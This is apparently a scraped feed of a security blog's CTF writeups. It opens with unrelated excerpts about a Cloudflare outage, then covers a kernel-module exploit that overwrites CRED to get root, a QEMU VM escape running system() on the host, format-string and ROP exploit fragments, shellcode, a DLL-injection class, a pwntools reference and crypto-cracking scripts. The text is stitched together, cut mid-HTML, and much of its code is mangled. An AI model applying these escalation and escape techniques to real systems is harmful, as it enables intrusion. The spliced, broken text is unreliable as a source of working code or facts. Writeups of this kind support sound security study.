“The team investigated elevated traffic levels and errors to Workers KV service… mitigations such as traffic manipulation and account limiting were attempted…”
随着排障推进，Cloudflare 在 “The query behaviour change” 与 “Memory preallocation” 两节中，把技术链路写得很直白：
数据库层：访问控制变更后，查询时多返回了数据，响应行数接近翻倍；
配置生成层：用这条查询生成的 Bot Management feature file 跟着“变胖”，特征数量远超平时（文中描述为 “effectively more than doubling the rows in the response ultimately affecting the number of rows (i.e. features) in the final file output”）；
thread fl2_worker_thread panicked: called Result::unwrap() on an Err value
时间线中，13:37 这一行直接写道：
Work focused on rollback of the Bot Management configuration file to a last-known-good version. We were confident that the Bot Management configuration file was the trigger for the incident.
zerofs.ko is a driver module of a custom filesystem. The kernel and the module is compiled by randstruct plugin, which I found in the magic string – vermagic=4.13.0 SMP mod_unload modversionsRANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`. run.sh and /init show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.
zerofs.ko
I found the module may be modified from simplefs after the game. By reversing zerofs.ko, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.
The second block records all of the inodes in an array. ino is inode number, and dno is the block number of the image.
There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure.
Vulnerabilitie
There isn’t any bound or size check in read and write function. If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.
with open('fs/tmp/zerofs.img', 'wb') as f: f.write(img)
Exploit
After mounting the image, I could trigger out-of-bound read by read the file 666. I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.
I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes system("sha256sum /root/flag");.
The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.
]]>
<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p><em>zerofs.ko</em> is a driver module of a cus
UCTF2017 初赛 PWN题 Writeuphttps://blog.eadom.net/writeups/uctf-2017-quals-pwn-writeup/2017-07-10T08:44:39.000Z2025-11-21T12:45:50.809Z
题目中上，但各种乱象毁了这个比赛。
NotFormat
概览
程序是静态链接的，利用缓解机制只启用了NX,程序只是一个简单的读取输入并返回。
1 2 3 4 5 6
$ checksec NotFormat Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
structcred { atomic_tusage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_tsubscribers;/* number of processes subscribed */ void*put_addr; unsignedmagic; #define CRED_MAGIC0x43736564 #define CRED_MAGIC_DEAD0x44656144 #endif kuid_tuid;/* real UID of the task */ kgid_tgid;/* real GID of the task */ kuid_tsuid;/* saved UID of the task */ kgid_tsgid;/* saved GID of the task */ kuid_teuid;/* effective UID of the task */ kgid_tegid;/* effective GID of the task */ kuid_tfsuid;/* UID for VFS ops */ kgid_tfsgid;/* GID for VFS ops */ unsignedsecurebits;/* SUID-less security management */ kernel_cap_tcap_inheritable; /* caps our children can inherit */ kernel_cap_tcap_permitted;/* caps we're permitted */ kernel_cap_tcap_effective;/* caps we can actually use */ kernel_cap_tcap_bset;/* capability bounding set */ kernel_cap_tcap_ambient;/* Ambient capability set */ #ifdef CONFIG_KEYS unsignedcharjit_keyring;/* default keyring to attach requested * keys to */ structkey __rcu *session_keyring;/* keyring inherited over fork */ structkey*process_keyring;/* keyring private to this process */ structkey*thread_keyring;/* keyring private to this thread */ structkey*request_key_auth;/* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void*security;/* subjective LSM security */ #endif structuser_struct *user;/* real user ID subscription */ structuser_namespace *user_ns;/* user_ns the caps and keyrings are relative to. */ structgroup_info *group_info;/* supplementary groups for euid/fsgid */ structrcu_headrcu;/* RCU deletion hook */ };
]]>
<blockquote>
<p>题目中上，但各种乱象毁了这个比赛。</p>
</blockquote>
<h2 id="NotFormat"><a href="#NotFormat" class="headerlink" title="NotFormat"></a>NotForm
QEMU Escape --- vm_escape from 0CTF 2017 Finals Writeuphttps://blog.eadom.net/writeups/qemu-escape-vm-escape-from-0ctf-2017-finals-writeup/2017-06-15T16:04:14.000Z2025-11-21T12:45:50.792ZIt’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.
luanch.sh shows there are two custom device named vdd.
1 2
$ ./qemu-system-x86_64 -device help 2>&1 | grep VDD name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"
we can use some commands to find these devices and their io port/memroy.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# lspci 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 00:05.0 Class 00ff: 1234:2333 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:2333 # cat /proc/iomem ... fe900000-fe9fffff : 0000:00:04.0 fea00000-feafffff : 0000:00:05.0 ... # cat /proc/ioports ... c000-c0ff : 0000:00:04.0 c100-c1ff : 0000:00:05.0 ...
OOBW
In vdd_mmio_write, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set dma_len larger than sizeof(dam_buf).
First, we allocate a buffer and get it’s physical address. Then we set dma_state->dst to our buffer and set dma_len larger than sizeof(dma_buf). Finally, we trigger phys_mem_write by writel(0, piomem + 32). By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc.
Becasue the QEMU is launched with --nographic -append 'console=ttyS0', so we can simply invoke system(cmd) to run a command in host machine and the output will show in console.
To invoke system(cmd), We need to:
set opaque->dma_state->phys_mem_read to system
set opaque->dma_buf to cmd
make sure opaque->dma_state->cmd != 0.
In vdd_linear_write, when addr == 0, a buffer will be allocated with size of opaque->dma_len. And the data in opaque->dma_state->src with length of opaque->dma_len will be copied to opaque->buf, then copied to opaque->dma_state->dst
]]>
<p>It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.</p>
<p>You should r
Pwntools Quick Reference Guidehttps://blog.eadom.net/uncategorized/pwntools-quick-reference-guide/2016-03-02T10:33:29.000Z2025-11-21T12:45:50.789Z
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits
Parameters:
offset (int) – the first formatter’s offset you control
writes (dict) – dict with addr, value {addr: value, addr2: value2}
numbwritten (int) – number of byte already written by the printf function
write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
DynELF
pwnlib.dynelf — Resolving remote functions using leaks
Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.
# Assume a process or remote connection p = process('./pwnme')
# Declare a function that takes a single address, and # leaks at least one byte at that address. defleak(address): data = p.read(address, 4) log.debug("%#x => %s" % (address, (data or'').encode('hex'))) return data
# For the sake of this example, let's say that we # have any of these pointers. One is a pointer into # the target binary, the other two are pointers into libc main = 0xfeedf4ce libc = 0xdeadb000 system = 0xdeadbeef
# With our leaker, and a pointer into our target binary, # we can resolve the address of anything. # # We do not actually need to have a copy of the target # binary for this to work. d = DynELF(leak, main) assert d.lookup(None, 'libc') == libc assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary, # we can speed up some of the steps. d = DynELF(leak, main, elf=ELF('./pwnme')) assert d.lookup(None, 'libc') == libc assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library, # given a pointer into it. d = DynELF(leak, libc + 0x1234) assert d.lookup('system') == system
Utility
Generation of unique sequences
pwnlib.util.cyclic.cyclic(length = None, alphabet = string.ascii_lowercase, n = 4)
pwnlib.util.cyclic.cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None)
1 2 3 4 5 6
>>> cyclic(20) 'aaaabaaacaaadaaaeaaa' >>> cyclic(alphabet = "ABC", n = 3) 'AAABAACABBABCACBACCBBBCBCCC' >>> cyclic_find(cyclic(alphabet = "ABC", n = 3)[3:6], alphabet = "ABC", n = 3) 3
Assembly and Disassembly
1 2 3 4 5 6 7
>>> asm('mov eax, 0').encode('hex') 'b800000000' >>> print disasm('6a0258cd80ebf9'.decode('hex')) 0: 6a 02 push 0x2 2: 58 pop eax 3: cd 80 int 0x80 5: eb f9 jmp 0x0
]]>
<blockquote>
<p>pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and dev
0CTF2015 Writeuphttps://blog.eadom.net/writeups/0ctf-2015-writeup/2015-04-02T15:59:51.000Z2025-11-21T12:45:50.728Z没怎么做alictf，做了0ctf。渣渣又被虐了……分享下writeup……
oldcrypto
Old crypto is not old enough to be broken. Notice: all in lowercase
def search(): i = 0 with open('deletei') as f: cipher = f.read().strip() while i < len(cipher): now = cipher[i:i+3] find = cipher[i+3:].find(cipher[i:i+3]) if find != -1: print cipher[i:i+3], find+3 i += 1
def findk(src, des): for k in xrange(26): if tr[k][ord(des)-ord('a')] == ord(src)-ord('a'): return chr(k + ord('a'))
def key(): k = '' with open('split2') as f: for line in f: fre = {} line = line.strip() for c in line: if c in fre: fre[c] += 1 else: fre[c] = 1 sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True) k += findk('e', sort_fre[0][0]) print k
Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi
Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995
上去以后问你xxx是哪里的，用国家2字母简称表达。 前20轮给国家，21-70给地名，70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存
# level 1 for i in range(70): buf = io.read_until(':') country_name = re.findall(r'n(.+)?:', buf)[0] # print country_name # country = pycountry.countries.get(name=country_name) # io.writeline(country_ascii2_dict[country_name]) if country_name in correct: io.writeline(correct[country_name]) else: io.writeline(geo(country_name))
# load level2 = {} with open('level2') as f: level2 = json.loads(f.read())
buf = io.read_until(':') # level 2 try: for i in range(30): question = re.findall(r'n(.+)?:', buf)[0] if question in level2: ans = level2[question] else: ans = raw_input() ans = ans.strip().split(',') for c in ans: if c in correct: io.writeline(correct[c]) else: io.writeline(geo(c)) buf = io.read_until(':') level2[question] = ans except Exception, e: with open('level2','w') as f: f.write(json.dumps(level2)) print e exit()
with open('level2','w') as f: f.write(json.dumps(level2))
Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910
Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.
漏洞发现
RELRO STACK CANARY NX PIE RPATH RUNPATH FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login
# gen p sum = 0 p = "" for i in range(8): t = (fun >> i*8) & 0xff t = 0x100 * i + t - sum sum += t p += '%0' p += str(t) p += 'x' p += '%' p += '%d' % (40 + i) p += '$n'
i = 0 \# io.gdb_hint() for dword in payload: io.read_until('Which one you want QooBee to work(99 to leave)?') io.writeline("%d" % (18+i)) io.read_until('How long for this one?') io.writeline("%u" % struct.unpack('<i', dword)) i += 1
io.writeline('99') io.writeline(shellcode2)
io.interact()
Qoobee4
利用分析
fun1的输入description栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
int \_\_cdecl sub\_8048BC8(int a1) { int v1; // ST28_4@1 int v2; // ecx@1 int result; // eax@1 char src; // \[sp+1Eh\] \[bp-2Ah\]@1 int v5; // \[sp+3Ch\] \[bp-Ch\]@1
defforlast2(): global flag log('last round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround3() if c: flag += c log('flag:%s' % flag)
defforlast(): global flag log('last round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround2() if c=='$': forlast2() elif c: flag += c log('flag:%s' % flag)
defround(): global flag for j in range(32): log('new round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround() if c=='$': forlast() elif c: flag += c log('flag:%s' % flag)
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200
pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300
\# set src=sh and call memset io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn') io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn')
io.interact()
flag SCTF{ZQzq2617}
PWN400
1 2 3
pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400
/************************************************************************/ /* Yufan CInjectDLL a class for DLL injection to inject use Inject() to uninject use Uninject() */ /************************************************************************/ #pragma once #include"stdafx.h"
/************************************************************************/ /* Yufan CInjectDLL a class for DLL injection to inject use Inject() to uninject use Uninject() */ /************************************************************************/ #pragma once #include"StdAfx.h" #include"InjectDLL.h" #include<Windows.h> #include<string> #include"tlhelp32.h"
key = '' c = '' str = '' t = chr(0) i = 0 find = 0 ckey = g2.read(1)
realkey=''
for p in f: for k1 in range(0, 256): k1 = chr(k1) find=0 c = chr(( ord(p) + (ord(k1) ^ ord(t)) + i**i ) & 0xff) if c == ckey: print'get %d is %c' % (i, k1) realkey += k1 find = 1 break if find ==0: print'cant find NO.', i break t = p i += 1 ckey = g2.read(1)
g = open('msg02.enc', 'rb').read() f = open('msgtest02', 'wb') key = 'DoNotTryToGuessWhatDoesD3AdCa7ThinkOf' i = 0 t = chr(0) p = '' str = '' for c in g: p =chr( (ord(c) - i**i - (ord(key\[i % len(key)\]) ^ ord(t)) ) & 0xff ) t = p i += 1 str += p f.write(p)
print str f.close()
]]>
<p>题目 买不到TI4的门票觉得人生好灰暗。。<a href="http://yfcnblog.sinaapp.com/?attachment_id=76" target="_blank" rel="noopener">ACTF2014crypto200.tar</a> ———
ACTF2014之crypto100古老writeruphttps://blog.eadom.net/writeups/actf2014-crypto100-writerup/2014-04-07T02:28:47.000Z2025-11-21T12:45:50.754ZACTF清明放假回家。。所以就不做了，抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va’ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy’n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy? ————割———— 很像单表代换的，参考辅助处理单表替换密码 yja很明显应该是the，剩下的慢慢试试。 下面的就转出部分没有转全 nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phracw magahine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the neft phracw issue, when the time has come, we’ll decide to compile a new issue from the articles that have been submitted. that’s basically it. and grab you flag here, cryptooosocoolamiright? key在最后一句cryptooosocoolamiright]]>
<p>ACTF清明放假回家。。所以就不做了，抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira y
辅助处理单表替换密码https://blog.eadom.net/uncategorized/process-monoalphabetic-substitution-cipher/2014-04-06T08:32:39.000Z2025-11-21T12:45:50.786Z整理了一些东西，方便单表密码分析。 分析单表替换密码：http://www.counton.org/explorer/codebreaking/frequency-analysis.php 这网站上同时还有一些简单的密码分析 下面是一个替换后上下两行显示明密文通过颜色对比的shell
BOOL ClearLianliankan::bCheck(int x1, int y1, int x2, int y2, int cTurn, int eDirect) { if (cTurn > 3) return FALSE; if (x1 == x2 && y1 == y2) return TRUE;
voidmain() { gets(czInput); int i; for (i = len - 1; i >= 0; i--) { if (czInput\[i\] != 'L') { for (int j = i - 1; j >= 0; j--) { if (czInput\[j\] == 'L') { RoolL(j); SwapToRight(j + 1); i = len; break; } } } }
for (i = 0; i < len; i++) { if (czInput\[i\] == ' ') { PrintRst(i + 1); break; } } }
defmain(): HOST = '218.2.197.242'# The remote host PORT = 6000# The same port as used by the server s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) s.connect((HOST, PORT)) print s.recv(1024) strrecv = s.recv(1024) print strrecv \# strrecv = 'SHA1("5kEQPr0sul1aWUBb" + X).hexdigest() == "952792a53660aac0cc4d9eb1277f9b00d0ebf48c", X is a string of alphanumeric' partten = re.compile(r'SHA1("(.*)" ') base = partten.findall(strrecv)\[0\] partten = re.compile(r'== "(.*)"') result = partten.findall(strrecv)\[0\] print base print result \# result = '848656a9e7f76052e8a73d42d17ec02400732e06' \# base = 'rVYQ76B4IJdCzy8m' rst = getrst(run(result, base), result, base) print rst s.sendall(rst\[-4:\]+'n') print s.recv(1024)
def_sxor(self, s1, s2): # Convert strings to a list of character pair tuples, # go through each tuple, converting them to ASCII code (ord), # perform exclusive or on the ASCII code, # then convert the result back to ASCII (chr), # merge the resulting array of characters as a string. return''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
ifnot args.passphrase: print"Must provide passphrase (-P)" sys.exit(1) ifnot args.salt: print"Must provide salt (-S)" sys.exit(1)
return args
if \_\_name\_\_ == "\_\_main\_\_": f = open("c300dict.txt", 'r') for line in f: strpass = line.strip() salt = 'robotum.ctf@gmail.com' wallet = WarpWallet(2**16, 32, 18,1, 8) str = wallet.warp(strpass, salt) if str == '1Atk95NnaQDiegEkqjJvg6c2KkJbSr2BEL': print'get!', strpass break print line
defdec2bin(string_num): num = int(string_num) mid = \[\] whileTrue: if num == 0: break num,rem = divmod(num, 2) mid.append(base\[rem\]) return''.join(\[str(x) for x in mid\[::-1\]\])
defdec2hex(string_num): num = int(string_num) mid = \[\] whileTrue: if num == 0: break num,rem = divmod(num, 16) mid.append(base\[rem\])
defcheck_equal(a, b): if a == b: returnTrue try: if int(a) == int(b): returnTrue except: returnFalse returnFalse
defmain():
print"Welcome to Secure Passcode System" print"First, please choose function combination:"
print"2" for in1 in range(1,10): for in2 in range(1,10): for in3 in range(1,10): for in4 in range(1,10): in1=str(in1) in2=str(in2) in3=str(in3) in4=str(in4) f1='fun'+in1\[:1\] f2='fun'+in2\[:1\] f3='fun'+in3\[:1\] f4='fun'+in4\[:1\]
if f1 notin func\_names or f2 notin func\_names or f3 notin func\_names or f4 notin func\_names: print'invalid function combination' exit()
try: answer_hash = f\['fun6'\](f\['fun2'\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](answer)))))) except: print"Wrong function combination, you bad guy!" exit()
if len(answer_hash) == 0: print'You must be doing some little dirty trick! Stop it!' exit()
usercode = raw_input('Your passcode: ')
try: user_hash = f\['fun6'\](f\['fun2'\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode)))))) if user\_hash == answer\_hash: if check_equal(answer, usercode): print"This passcode has been locked, please use the new onen" else: print"Welcome back! The door always open for you, your majesty! " read_key() else: print"Sorry, bad passcode.n" except: print"Sorry, bad passcode. Please try again."
if \_\_name\_\_ == '\_\_main\_\_': main()
这个程序就是我们自选f1-f4四种函数answer=’78864179732635837913920409948348078659913609452869425042153399132863903834522365250250429645163517228356622776978637910679538418927909881502654275707069810737850807610916192563069593664094605159740448670132065615956224727012954218390602806577537456281222826375’ answer_hash = f[‘fun6’](f[‘fun2’](f[f1](f[f2](f[f3](f[f4](answer)))))) 然后将我们输入的usercode做同样变化 user_hash = f[‘fun6’](f[‘fun2’](f[f1](f[f2](f[f3](f[f4](usercode)))))) 相等即可通过（usercode不能与answer相同）。 如果输入的函数组合不符要求会”Wrong function combination, you bad guy!” 首先用暴力的方法求出函数的组合，只有唯一一种 f1=’fun3’ f2=’fun5’ f3=’fun1’ f4=’fun4’ 下面是关键
defdec2bin(string_num): num = int(string_num) mid = \[\] whileTrue: if num == 0: break num,rem = divmod(num, 2) mid.append(base\[rem\]) return''.join(\[str(x) for x in mid\[::-1\]\])
defdec2hex(string_num): num = int(string_num) mid = \[\] whileTrue: if num == 0: break num,rem = divmod(num, 16) mid.append(base\[rem\])
if len(answer_hash) == 0: print'You must be doing some little dirty trick! Stop it!' exit()
for c in range(ord('A'), ord('Q')): usercode = str (hex2dec(reverse(binascii.hexlify(zlib.compress('ztLU2s/rxOPU2s/rztLKssO0tcTTw7nIuOi3rdLrv8+2qNK7teOyu7rD08O7ucrHsfDTw8HLv7TV4r7ku7C+wL3hy8DE4771tcPE2'+chr(c)+'=='))))) print usercode
try: \# print f\[f4\](usercode) \# print f\[f3\](f\[f4\](usercode)) \# print repr(f\[f2\](f\[f3\](f\[f4\](usercode)))) \# print f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode)))) \# print repr(f\['fun2'\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode)))))) user_hash = f\['fun6'\](f\['fun2'\](f\[f1\](f\[f2\](f\[f3\](f\[f4\](usercode)))))) if user\_hash == answer\_hash: if check_equal(answer, usercode): print"This passcode has been locked, please use the new onen" else: print"Welcome back! The door always open for you, your majesty! " else: print"Sorry, bad passcode.n" except: print"Sorry, bad passcode. Please try again."
]]>
eip之后还有16bytes可用，考虑到栈不可执行，所以使用ROP方式，依次调用open，read，write来打开读取flag再写出，flag的路径在init函数中已经有了。 这边有两种思路，第一种就利用之后的16byte，因为空间很小，所以一次就调用一个函数，先调用open，之后ret回main。再次输入再次溢出时调用read，之后再次返回main，溢出后调用write 第二种就是先调用read或者read_80_bytes读入到.bss，之后ebp指向.bss进入ROP链 我是使用第二种，exp如下（没有网络通信部分）
原先使用时 
此程序返回时，返回地址被覆盖为83EC8B55，此数值在shellcode中，目测是eip没有覆盖准？然后跳转出错。所以先试试准确跳到shellcode中。
直接就出KEY了。。。
这网站上同时还有一些简单的密码分析 下面是一个替换后上下两行显示明密文通过颜色对比的shell
最后是个简单的替换脚本
预测棋盘应该是一个数组，就用棋盘最左上角的那个位置做参照，预测有东西应该是非0，没有应该大于0。
最后找到棋盘地址如下，这是x64的，x86的要再找下。。 
要算一个sha1，先写了个python跑了一次X是三位的，但是发现每次连接字符串都会变。。。只能取得了再跑，后来发现用python写的会超时。。。然后尝试用hashcat来破 命令如下command = ‘cudaHashcat64 –custom-charset1 ?l?u?d -m 100 -a 3 “+result+” “+base+”?1?1?1?1”‘ 连上之后是一个什么游戏。。。 
玩了半天，再根据题意。规则是空格分隔左右两边，最后要让L都到右边，R都到左边。 一次输入一个数字，代表这个字符串的第几个位置（空格也算一个位置），让这个位置上的人往另外一侧移动 一次最多只能移动两个人 如LRLRLRLRL R 输入9,，就变成LRLRLRLR LR 如LRLRLRLRL R 输入8，就变成LRLRLRL LRR，即两个人都到另一侧，并且互换位置 若输入不合法则返回wrong answer游戏失败。 下面就是游戏的算法啦 xin5739写的
